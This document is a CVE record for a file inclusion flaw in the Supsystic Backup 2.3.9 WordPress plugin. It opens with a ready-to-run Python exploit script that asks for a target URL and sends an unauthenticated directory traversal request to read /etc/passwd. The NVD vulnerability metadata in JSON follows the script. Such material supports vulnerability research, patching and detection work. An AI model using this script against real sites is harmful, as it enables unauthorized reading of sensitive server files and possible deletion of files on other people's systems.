CVE-2020-37246

# Exploit Title: Supsystic Backup 2.3.9 - Local File Inclusion (Unauthenticated) # Date: 2021-01-04 # Exploit Author: VulnCheck # Vendor Homepage: https://supsystic.com/ # Software Link: https://downloads.wordpress.org/plugin/backup-by-supsystic.zip # Version: 2.3.9 # Tested on: WordPress 5.6 / Linux import requests def exploit_lfi(target_url): """ Exploit the Local File Inclusion vulnerability in Supsystic Backup <= 2.3.9 """ # Target endpoint url = f"{target_url}/wp-admin/admin.php" # Parameter vulnerable to directory traversal params = { "page": "backup-by-supsystic", "action": "index", "controller": "backup", "method": "download", "download": "../../../../../../../../etc/passwd" } try: print(f"[*] Sending request to {url}...") response = requests.get(url, params=params, timeout=10) # Check if /etc/passwd is in the response (common LFI check) if "root:" in response.text and response.status_code == 200: print("[+] Exploit successful! File content retrieved:") print("-" * 40) print(response.text) print("-" * 40) else: print("[-] Exploit failed or file not found.") print(f"Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = input("Enter the target URL (e.g., http://localhost/wordpress): ") exploit_lfi(target)

{"cve": {"id": "CVE-2020-37246", "sourceIdentifier": "[email protected]", "published": "2026-05-16T16:16:20.993", "lastModified": "2026-05-18T17:32:04.823", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Supsystic Backup 2.3.9 contains a local file inclusion vulnerability that allows unauthenticated attackers to read and delete arbitrary files by manipulating the download path parameter. Attackers can modify the download parameter in admin.php requests with directory traversal sequences to access sensitive files like /etc/passwd or delete files via the removeAction parameter."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://downloads.wordpress.org/plugin/backup-by-supsystic.zip", "source": "[email protected]"}, {"url": "https://supsystic.com/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49545", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/wordpress-plugin-supsystic-backup-local-file-inclusion", "source": "[email protected]"}]}}